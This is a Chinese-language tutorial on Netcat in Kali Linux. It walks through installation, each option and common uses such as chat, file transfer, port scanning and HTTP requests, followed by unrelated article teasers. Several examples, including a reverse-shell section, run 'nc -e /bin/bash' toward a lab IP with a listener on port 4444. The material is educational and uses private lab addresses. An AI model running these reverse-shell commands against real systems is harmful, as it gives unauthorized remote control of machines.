nc工具!Netcat:TCP/IP瑞士军刀!全参数详细教程!Kali Linux教程!
简介
Netcat 是一个简单的 Unix 实用程序,使用 TCP 或 UDP 协议跨网络连接读写数据。它被设计为一个可靠的“后端”工具,可以直接使用,也可以由其他程序和脚本轻松驱动。同时,它也是一个功能丰富的网络调试和探索工具,因为它可以创建几乎任何类型的连接,并具有一些有趣的内置功能。
Netcat,或者实际程序名称“nc”,早就应该作为另一个神秘但标准的 Unix 工具提供。
这是由 Hobbit 编写的“经典” Netcat。它缺少 Netcat-openbsd 中的许多功能。
最简单的用法是,“nc host port”会创建一个到目标主机指定端口的 TCP 连接。您的标准输入随后会被发送到目标主机,而通过该连接返回的任何数据都会发送到您的标准输出。此过程会一直持续,直到连接的网络端关闭。请注意,此行为与大多数其他应用程序不同,这些应用程序会在标准输入端收到文件结尾后关闭所有内容并退出。
Netcat 还可以充当服务器,通过监听任意端口上的入站连接,然后执行相同的读写操作。除了一些小限制外,Netcat 并不真正关心它是运行在“客户端”模式还是“服务器”模式——它仍然会来回传输数据,直到没有剩余数据为止。在任一模式下,都可以在网络端处于可配置的不活动状态后强制关闭。
而且它也可以通过 UDP 实现这一点,所以 netcat 可能就是你一直想要的“类似 UDP Telnet”的应用程序,用来测试你的 UDP 模式服务器。正如“U”的含义,UDP 的数据传输可靠性不如 TCP 连接,有些系统可能无法通过 UDP 发送大量数据,但它仍然是一个很有用的功能。
您可能会问“为什么不直接使用 telnet 连接到任意端口?”这个问题很有道理,以下是一些原因。Telnet 存在“标准输入 EOF”问题,因此必须在驱动脚本中引入计算延迟,以允许网络输出完成。这就是 netcat 一直运行到*网络*端关闭的主要原因。Telnet 也不会传输任意二进制数据,因为某些字符会被解释为 telnet 选项,因此会从数据流中删除。 Telnet 还会将一些诊断消息发送到标准输出,而 Netcat 会将这些消息与其*输出*严格隔离,并且永远不会修改传输中的任何实际数据,除非您*确实*需要。当然,telnet 无法监听入站连接,也无法使用 UDP 协议。Netcat 没有这些限制,而且比 telnet 更小巧、更快,并且还有许多其他优势。
安装
源码安装
我们进入到 netcat 的源码发布页。位于 sourceforge 的网站上。
https://sourceforge.net/projects/nc110/files/
点击 Download Lastet Version 按钮就可以下载了。
下载完成后的安装包是这样的。
我们把安装包移动到桌面去。这里得根据自己的实际情况进行修改。
mv nc110.20180111.tar.xz /home/你的kali用户名/桌面/nc110.20180111.tar.xz
解压这个文件
tar -xvf nc110.20180111.tar.xz
之后进入目录并查看
cd nc110/
ls
使用 make linux 进行编译
make linux
输入以下命令,如果出现这个界面就说明安装成功了。
./nc -h
APT包管理器安装
Kali Linux 默认已经安装好 netcat 工具了。如果还没有安装的话,也可以通过以下命令进行安装。
sudo apt install netcat-traditional
使用
注意:netcat 可以有多种命令写法,以下3种都是相同的命令,都是可以使用的。
netcat
nc
nc.traditional
1. -h
显示帮助
netcat -h
2. 常规使用
语法:
连接到某个位置:nc [-options] 主机名 端口 [端口] ...
监听入站:nc -l -p 端口 [-options] [主机名] [端口]
我们先在 Ubuntu 系统上开启监听模式。
nc -lv -p 8080
这样就进入监听模式了。
接下来在 Kali Linux 系统上去连接到 Ubuntu 系统。我这里 Ubuntu 系统的ip地址是192.168.174.145。如果是你自己的话得根据你系统的ip地址,可不能抄我的ip地址。
nc 192.168.174.145 8080
回到 Ubuntu 系统上,可以看到已经监听成功了。
我们在 Kali Linux 这里输入一些信息,在 Ubuntu 上也可以同步接收到。
3. -c shell
等同 `-e';使用 /bin/sh 执行 [危险!!]
指定连接后要执行的 shell 命令(请谨慎使用)。该字符串将传递给 /bin/sh -c 执行。如果您没有可用的 /bin/sh,请参阅 -e 选项(请注意,符合 POSIX 标准的系统必须有)。
nc -c /bin/sh 192.168.174.145 8080
4. -e filename
连接后执行的程序 [危险!!]
指定连接后要执行的文件名(请谨慎使用)。有关增强功能,请参阅 -c 选项。
nc -e /bin/sh 192.168.174.145 8080
5. -b
允许广播
允许 UDP 广播
nc -b 192.168.174.145 8080
6. -g gateway
源路由跳点,最多 8 个
nc -g 192.168.174.2 192.168.174.145 8080
7. -G num
源路由指针:4、8、12……
nc -G 8 192.168.174.145 8080
8. -i secs
发送线路和扫描端口的延迟间隔
nc -i 10 192.168.174.145 8080
9. -k
设置套接字的 keepalive 选项
nc -k 192.168.174.145 8080
10. -l
监听模式,用于入站连接
nc -lv
11. -n
纯数字 IP 地址,不使用 DNS
nc -nv 192.168.174.145 8080
12. -o file
十六进制流量转储
nc -o hexfile -v 192.168.174.145 8080
13. -p port
本地端口号
本地端口号(端口号可以是单个端口号,也可以是范围:低-高 [含])
nc -lv -p 4444
14. -r
随机化本地和远程端口
nc -r 192.168.174.145 8080
15. -q secs
在标准输入结束符 (EOF) 后退出,延迟秒数
在标准输入 EOF 后等待指定的秒数,然后退出。如果秒数为负数,则永远等待。
nc -q 5 192.168.174.145 8080
16. -s addr
本地源地址
nc -s 192.168.174.134 -e /bin/bash 192.168.174.145 8080
17. -T tos
设置服务类型
设置 TOS 标志(type 可以是“Minimize-Delay”、“Maximize-Throughput”、“Maximize-Reliability”或“Minimize-Cost”之一)。
nc -T Minimize-Delay -v -e /bin/bash 192.168.174.145 8080
18. -t
启用 Telnet 协商
nc -t -v -e /bin/bash 192.168.174.145 8080
19. -u
UDP 模式
nc -u -v -e /bin/bash 192.168.174.145 8080
20. -v
详细 [使用两次可显示更详细的信息]
nc -vv -e /bin/bash 192.168.174.145 8080
21. -w secs
连接和最终网络读取的超时时间
nc -w 10 -v 192.168.174.145 8080
22. -C
将 CRLF 发送为行结束符
nc -C -v 192.168.174.145 8080
23. -z
零 I/O 模式 [用于扫描]
nc -z -v 192.168.174.145 8080
综合使用
1. 建立简单的服务器和客户端(TCP/UDP)
Netcat 可以很容易地创建一个临时的服务器和客户端,实现两者之间的通信。
TCP 监听器(服务器端)
nc -l -p 12345
TCP 客户端连接到服务器
nc 192.168.174.145 12345
2. 端口扫描
Netcat 可以用来扫描目标主机的端口,判断哪些端口开放。
扫描目标主机的多个端口
nc -znv 192.168.174.145 20-80
3. 传输文件
Netcat 支持通过网络传输文件,作为一个简单的文件传输工具。
先接收后发送
我们先查看我们要发送的文件,我们要发送一个txt文件,里面包含一些文本。
先在 Kali Linux 打开接收文件(接收端)
nc -l -p 12345 > received_file.txt
在 Ubuntu 发送文件(发送端)
nc -w 3 192.168.174.134 12345 < file.txt
之后就可以在 Kali Linux 查看到接受到的文件。
先发送后接收
当然也可以反过来。先发送后接收。
先查看要发送的文件。
在 Kali Linux 发送文件(发送端)
nc -l -p 12345 < file2.txt
在 Ubuntu 打开接收文件(接收端)
nc 192.168.174.134 12345 > file2.txt
之后就可以看到我们传输成功的文件。
4. 反向 Shell / 绑定 Shell
Netcat 被广泛用于渗透测试,尤其是在反向 shell(反弹 shell)和 绑定 shell 的场景中。通过它,可以建立一个控制目标系统的 shell。
反向 Shell(攻击者监听端)
nc -l -vv -p 4444
目标主机反向连接(目标执行)
nc -vv -e /bin/bash 192.168.174.145 4444
回到我们的攻击者监听端(Ubuntu),就可以看到我们已经成功连接(反弹shell)上 Kali Linux 了。输入一些命令即可得到反馈。比如 id,whoami,uname -a 等。
5. 简易的聊天应用
Netcat 也可以用来创建简单的聊天应用,两个或多个用户可以使用它来建立一个基本的通信通道。
聊天模式(监听端)
nc -lv -p 12345
聊天模式(客户端)
nc -vv 192.168.174.134 12345
之后在两个终端里面就可以互相发送信息聊天了。
6. 发送 HTTP 请求
Netcat 可以用来手动发送 HTTP 请求,并查看响应。
手动发送 HTTP 请求
echo -e "GET / HTTP/1.0\r\nHost: baidu.com\r\n\r\n" | nc baidu.com 80
7. 调试和网络测试
Netcat 也常用于调试和测试网络应用,分析协议、测试连接等。
Telnet 调试(模拟 HTTP 请求)
nc -v 192.168.174.145 80
8. 绕过防火墙
通过使用 Netcat 的某些参数,可以帮助测试和绕过防火墙规则,进行安全评估。
使用 UDP 模式扫描特定端口
nc -u -zv 192.168.174.145 53-80
总结
Netcat(nc)是一个功能强大的网络工具,广泛应用于网络调试和渗透测试。它可以轻松地处理 TCP 和 UDP 连接,并且支持端口监听、数据转发和文件传输等功能。由于其简单易用和多功能性,Netcat成为了网络安全领域中不可或缺的工具。
在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。
欢迎各位大佬,小白来找我交流。
相关文章:
nc工具!Netcat:TCP/IP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 Netcat 是一个简单的 Unix 实用程序,使用 TCP 或 UDP 协议跨网络连接读写数据。它被设计为一个可靠的“后端”工具,可以直接使用,也可以由其他程序和脚本轻松驱动。同时,它也是一个功能丰富的网络调试和探索工具,…...
【持续更新】 CDC 跨时钟域处理
在之前的专栏《硬件架构的艺术》里,有讲过亚稳态以及多个时钟的处理办法,但是感觉还是太宽泛了些,不太好理解。在这篇博客里,将主要参考《Clock Domain Crossing (CDC) Design & Verification Techniques Using SystemVerilog…...
Mybatis-Plus,IDEA2024版本
目录 1、Mybatis-Plus介绍 2、Mybatis-Plus作用 3、Mybatis-Plus使用 1、引入依赖 2、配置数据库 3、生成代码 1、Mybatis-Plus介绍 Mybatis-Plus是在Mybatis的基础上进行的功能拓展,也就是Mybatis有的功能,Plus也有,而且比Mybatis更好用…...
LeNet5 神经网络的参数解析和图片尺寸解析
1.LeNet-5 神经网络 以下是针对 LeNet-5 神经网络的详细参数解析和图片尺寸变化分析,和原始论文设计,通过分步计算说明各层的张量变换过程。 经典的 LeNet-5架构简化版(原始论文输入为 32x32,MNIST 常用 28x28 需调整)…...
hadoop-3.3.5.tar.gz 镜像
清华大学镜像站 wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-3.3.5/hadoop-3.3.5.tar.gz 阿里云镜像站 wget https://mirrors.aliyun.com/apache/hadoop/common/hadoop-3.3.5/hadoop-3.3.5.tar.gz 华为云镜像站 wget https://mirrors.huaweiclo…...
SD2351核心板:重构AI视觉产业价值链的“超级节点”
在AI视觉技术狂飙突进的当下,一个吊诡的现象正在浮现:一方面,学术界不断刷新着ImageNet等基准测试的精度纪录;另一方面,产业界却深陷“算法有、场景无,技术强、落地难”的怪圈。明远智睿SD2351核心板的问世…...
C++23中if consteval / if not consteval (P1938R3) 详解
文章目录 引言基本概念consteval 回顾if consteval 和 if not consteval 的定义语法规则 设计目的解决现有问题增强代码的可读性和可维护性提高代码的性能和安全性 使用示例简单示例复杂示例 与其他特性的对比与 if constexpr 的对比与 std::is_constant_evaluated() 的对比 实…...
IPOF(Input-Process-Output-Feedback)方法学简介
一、背景知识:IPO与IPOF的基本概念 1. IPO(Input-Process-Output,输入-处理-输出) IPO是计算机科学、系统工程和设计领域中最基础的模型之一,用于描述系统如何将输入通过处理逻辑转换为输出。其核心是线性的单向流程…...
第十二天 使用Unity Test Framework进行自动化测试 性能优化:Profiler分析、内存管理
前言 在完成游戏核心功能开发后,如何确保项目质量并成功发布到各大平台?本文将从自动化测试到商店上架,手把手教你构建完整的游戏开发闭环。使用Unity 2022 LTS版本进行演示,所有代码均经过实际项目验证。 一、自动化测试实战&am…...
图解YOLO(You Only Look Once)目标检测(v1-v5)
1. YOLO系列整体介绍 YOLO属于深度学习经典检测方法中的单阶段(one - stage)类型,与两阶段(two - stage,如Faster - rcnn、Mask - Rcnn系列)方法相对。 不同模型性能 单阶段方法的最核心优势是速度非常快…...
U8G2在PC端模拟(C语言版本)
前提: 电脑已经准备好mingw编译器环境,已经加入环境变量. 测试方法: window下打开cmd,输入gcc -v 会有信息打印. u8g2 u8g2官方支持sdl2接口,已经做好了适配. 所以只需要在使用的开发环境配置好SDL2路径即可. sdl2和u8g2的适配…...
mac brew 无法找到php7.2 如何安装php7.2
mac brew 无法找到php7.2 如何安装php7.2 原因是升级过高版本的brew后已经不支持7.2了,但可以通过第三方工具来安装 brew tap shivammathur/php brew install shivammathur/php/php7.2标题安装完成后会提示以下信息: The php.ini and php-fpm.ini fil…...
苹果新规生效:即日起不再接受iOS 17 SDK编译的应用提交
今天(2025年4月25日),苹果公司正式实施了一项重要的开发者政策变更:所有提交至App Store Connect的应用必须使用iOS 18 SDK或更高版本编译,这意味着基于iOS 17.2及更早版本SDK构建的应用将无法再被提交审核。 这一错误…...
OpenCv高阶(九)——背景建模
目录 一、背景建模的核心目标与核心挑战 1. 核心目标 2. 核心挑战 二、背景建模模型 1、帧差法原理 2. 概率模型(Parametric Models) (1)高斯混合模型(Gaussian Mixture Model, GMM) (…...
Docker Macvlan网络配置实战:解决“network already exists“错误
一、Macvlan网络的应用场景 Macvlan是Docker支持的多种网络驱动之一,它允许容器直接绑定到宿主机的物理接口,为每个容器分配独立的MAC地址。这种网络模式特别适合需要容器直接暴露在物理网络中的场景,例如: • IoT设备直接通信 …...
Android——Activity与Fragment通信
Activity向Fragment传递数据 Activity.java Bundle bundle new Bundle();bundle.putString("message", "wonima");BlankFragment bf new BlankFragment();bf.setArguments(bundle);Fragment.java Overridepublic View onCreateView(LayoutInflater infl…...
38 python random
在实际中,我们常常会用到随机的概念,比如 模拟抽奖活动(如:月度优秀员工抽奖)生成测试数据(如:随机考勤时间、随机销售额)打乱数据顺序(如:随机分配任务到人)Python 的random模块就像你的 "随机事件生成器",帮你轻松创建各种随机数据 一、基础操作:从随…...
二叉树的遍历(广度优先搜索)
二叉树的第二种遍历方式,层序遍历,本质是运用队列对二叉树进行搜索。 层序遍历是指将二叉树的每一层按顺序遍历,通过队列实现就是先将根节点push入队,统计此时的队列中的元素数量size,将size元素全部pop出去࿰…...
设备接入与APP(应用程序)接入华为云iotDA平台的详细操作步骤及获取方式
壹、设备登录 IoTDA 的通关清单详细操作路径及获取方式 下面将之前整理的“设备登录 IoTDA 的通关清单”补充为带有详细操作路径的实用指南,逐项说明这些信息在哪里查、怎么查、怎么用,可以一步步操作落地,无需额外查文档。 ✅【完整版】设备…...
100个用户的聊天系统:轮询 vs WebSocket 综合对比
📊 对比表 对比维度普通轮询(Polling)WebSocket实时性⏳ 一般(延迟轮询间隔)例如 5 秒轮询,平均延迟 2.5 秒⚡️ 高(消息可毫秒级送达)数据库压力🚨 高(每次…...
第四章第四节 Spark-Streaming核心编程(三)
打开kafka集群 Spark Streaming支持多种数据源接入方式,有两种典型场景 基于Filebeat的目录监控:通过Filebeat实时监控指定目录(如日志目录),将新增文件内容采集并推送至Kafka消息队列。这种方式适用于需要持久化数据的…...
IDEA编写flinkSQL(快速体验版本,--无需配置环境)
相关资料 文档内容链接地址datagen生成器https://nightlies.apache.org/flink/flink-docs-release-1.16/docs/connectors/table/datagen/print 生成器https://nightlies.apache.org/flink/flink-docs-release-1.16/docs/connectors/table/print/ 准备工作 优点就是下载个ide…...
树莓派4B+Ubuntu24.04 电应普超声波传感器串口输出 保姆级教程
1. 背景 我的机器人上要用到超声波测距,因此就选了电应普的1拖4的超声波测距模块。用的是UART受控输出。这个模块的使用很简单,这里做一个笔记,也是对大家的一个参考。 2. 保姆级教程 刚刚说了,这东西很简单,就是一…...
Aloudata Agent :基于 NoETL 明细语义层的分析决策智能体
今天的分享包含四方面内容。首先,谈谈企业在数据分析智能体(Agent)探索时所面临的挑战;其次,介绍 Aloudata Agent 的关键技术创新点;第三,作为首次亮相,我们将通过产品演示揭晓产品 …...
C++学习-入门到精通-【1】C++编程入门,输入/输出和运算符
C学习-入门到精通-【1】C编程入门,输入/输出和运算符 C编程入门,输入/输出和运算符 C学习-入门到精通-【1】C编程入门,输入/输出和运算符第一个C程序:输出一行文本算术运算 第一个C程序:输出一行文本 // 文本打印程序…...
力扣-234.回文链表
题目描述 给你一个单链表的头节点 head ,请你判断该链表是否为回文链表。如果是,返回 true ;否则,返回 false 。 class Solution { public:bool isPalindrome(ListNode* head) {//快慢指针找到中间结点p1(偶数个结点…...
Electron从入门到入门
项目说明 项目地址 项目地址:https://gitee.com/ruirui-study/electron-demo 本项目为示例项目,代码注释非常清晰,给大家当做入门项目吧。 其实很多东西都可以在我这基础上添加或修改、市面上有些已开源的项目,但是太臃肿了&am…...
【华为HCIP | 华为数通工程师】821—多选解析—第十七页
多选835、IS-IS协议所使用的NSAP地址主要由哪几个部分构成? A、AREA ID B、SEL C、DSCp D、SYSTEM ID 解析:NSAP地址:网络服务访问点(Network Service Access Point)是 OSI 协议中用于定位资源的地址。NSAP 的地址结构如图所示,它由 IDP(Initial Domain …...
electron-builder 打包安装与启动手动安装,最终解决方案,之前的文章与其他的人都不用看了。
介绍 最近官网出了个electron-forge,但打包之后的软件包有问题会有个多余的遮罩物挡在软件的最前面,太恶心了。研究了很久硬是没法去掉。没办法只能重温electron-builder工具来进行打包。之前用过这个安装过一次,也是耗费了好几天。而且也做好了笔记,有资料的情况下,我万万…...
conda安装cuda+cudnn+pytorch【一条龙服务,以cuda12.1版本为例】
安装步骤在Windows和ubuntu系统中应该是一致的,建议浏览一遍文章再尝试配置环境 一、创建新的虚拟环境 这里以Anaconda为例,打开终端 创建新的虚拟环境,test_torch可替换为别的名字(自定义),3.10也可以改…...
ElementUi的tabs样式太难修改,自定义tabs标签页
ElementUi的Tabs组件在某些情况下难以是自己想要的样式,这时候自定义 Tabs 会是一个更好的选择,可以根据自己想要而设置样式,如图: 一、ElementUi的Tabs样式 链接:Tabs 标签页 | Element Plus 基础: 选…...
制作一款打飞机游戏23:编辑器ui
今天,我想重点介绍编辑器的实际用户界面(UI)。 关于Excel的讨论 很多人使用Excel来编辑他们程序的数据,因为大多数时候它都能很好地完成工作。Excel就像是一把瑞士军刀,可以修改各种数据。但是,在某些情况…...
课程9. 机器翻译,Seq2Seq与Attention
课程9. 机器翻译,Seq2Seq与Attention 机器翻译的任务. Seq2Seq 架构通过实战理解加载和预处理数据构建 Seq2Seq 模型编码器解码器Seq2Seq网络训练 Seq2Seq 架构问题注意力机制(Attention)注意选项Transformer 架构介绍——BERT 课程计划 机器…...
ASP.NET MVC 入门指南二
9. 表单处理与提交 9.1 创建表单视图 在视图文件夹下创建一个用于创建产品的视图,如 Create.cshtml: html model YourNamespace.Product{ViewBag.Title "创建产品"; }<h2>创建产品</h2>using (Html.BeginForm()) {Html.Anti…...
JavaWeb学习打卡-Day3-MyBatis相关
MyBatis 什么是MyBatis? MyBatis是一款优秀的持久层框架,用于简化JDBC的开发。MyBatis免除了几乎所有的 JDBC 代码以及设置参数和获取结果集的工作。 JDBC JDBC(Java DataBase Connectivity):使用Java语言操作关系型数据库的…...
浅谈AI Agent 演进之路
1、了解下 AI Agent 的定义 AI Agent(人工智能代理)简单来说是一种能够感知环境、进行决策和执行动作的智能实体。与传统的人工智能相比,AI Agent 具备独立思考和调用工具逐步完成目标的能力。 例如:当要求 AI Agent 帮助下单外…...
佳博票据和标签打印:Web网页端与打印机通信 | iOS
文章目录 引言I Web网页端与打印机通信webSDK(包含示例页)打印测试II iOS与佳博打印机通信引言 佳博工具下载ESC是票据打印指令,TSC是标签打印指令 工业打印机:佳博GP-H430F工业机标签条码打印机物流快递电子面单条码机碳带机 应用场景:打印商品价格标签、打印交易小票 I…...
视频噪点多,如何去除画面噪点?
你是否遇到过这样的困扰?辛辛苦苦拍摄的视频,导出后却满屏 “雪花”,夜景变 “噪点盛宴”,低光环境秒变 “马赛克现场”? 无论是日常拍摄的vlog、珍贵的家庭录像,还是专业制作的影视作品,噪点问…...
微信小程序直传阿里云 OSS 实践指南(V4 签名 · 秒传支持 · 高性能封装)
文章目录 前言一、为什么要使用直传 OSS?二、整体架构与实现思路三、阿里云 OSS 配置(V4 签名)1. 权限设置2. 后端生成签名参数(返回给小程序) 四、微信小程序端上传流程(功能模块拆解与封装)第…...
云原生--核心组件-容器篇-1-Docker和云原生关系(Docker是云原生的基石)
1、基本概念 (1)、云原生(Cloud Native) 是一种构建和运行应用程序的方法论,旨在充分利用云计算环境(公有云、私有云、混合云)的特性,通过容器化、微服务、服务网格、声明式API等技…...
GAEA情感坐标背后的技术原理
基于GAEA的去中心化物理基础设施网络(DePIN),用户有机会在GAEA平台上获得宝贵的数据共享积分。为了提升这些洞察的丰富性,用户必须花费一定数量的积分,将过去的网络数据与当前的情感数据绑定,从而产生一种新…...
day01_编程语言介绍丶Java语言概述丶开发环境搭建丶常用DOS命令
编程语言介绍 编程语言是一种用于人与计算机之间通信的语言,允许程序员编写代码,这些代码告诉计算机要执行哪些操作。编程语言可以被视为计算机可以理解并执行的指令集合,它是一种标准化的交流技巧,用于向计算机发出指令。…...
STM32系列官方标准固件库的完整下载流程
一、官网导航与版本确认 访问ST官网 打开浏览器进入 ST官网,点击左侧 “工具与软件” 标签,展开后选择 “嵌入式软件” 。若页面未直接显示,可在搜索框输入“STM32 Standard Peripheral Libraries”查找。 → “STM32标准外设库”࿰…...
Android 14 系统统一修改app启动时图标大小和圆角
Android 14 统一修改app启动时图标大小和圆角 修改如下: 目录:frameworks/base/core/java/android/window/SplashScreenView.java frameworks/base/libs/WindowManager/Shell/src/com/android/wm/shell/startingsurface/SplashscreenContentDrawer.ja…...
MySQL 详解之函数:数据处理与计算的利器
在 MySQL 中,函数可以接受零个或多个输入参数,并返回一个值。这些函数可以在 SELECT 语句的字段列表、WHERE 子句、HAVING 子句、ORDER BY 子句以及 UPDATE 和 INSERT 语句中使用。合理利用函数,可以简化 SQL 语句,提高开发效率。 MySQL 提供了大量的内置函数 (Built-in F…...
Tailwind CSS 实战:基于 Kooboo 构建企业官网页面(一)
目录 一、技术选型:为什么选择Tailwind Kooboo? 二、CDN方案 vs 传统安装 三、CDN方式实战步骤 一、技术选型:为什么选择Tailwind Kooboo? 1.1 黄金组合优势 Tailwind CSS:原子化CSS框架,提供&#x…...
Java基础 — 条件结构与随机数
介绍 Java条件结构与随机数是程序逻辑控制的重要工具。条件结构通过if-else和switch实现分支判断:if(条件){代码}用于单分支,else if添加多条件判断,switch则基于固定值匹配不同case。随机数生成常用两种方式:Math.random()方法返…...
AI网络渗透kali应用(gptshell)
kali安装gptshell 一、shellGPT 工具介绍 ShellGPT是一款由AI大型语言模型(LLM)驱动的终端命令行工具。它能帮助用户直接在终端与AI交互,自动生成、解释、执行各类 Linux 命令,大大提升了运维和开发效率。ShellGPT 支持接入 O…...
如何实现Android屏幕和音频采集并启动RTSP服务?
技术背景 在移动直播和视频监控领域,实现高效的屏幕和音频采集并提供流媒体服务是关键技术之一。本文将详细介绍如何基于大牛直播SDK实现Android屏幕和麦克风/扬声器采集,并启动轻量级RTSP服务以对外提供拉流的RTSP URL。在Android平台上,轻…...
大模型提示词如何编写
一、提示词的核心三要素 明确目标(What) 告诉 AI「你要它做什么」,越具体越好。 ❌ 模糊:写一篇文章 ✅ 清晰:写一篇 800 字的高考作文,主题 “坚持与创新”,结构分引言、三个论点(…...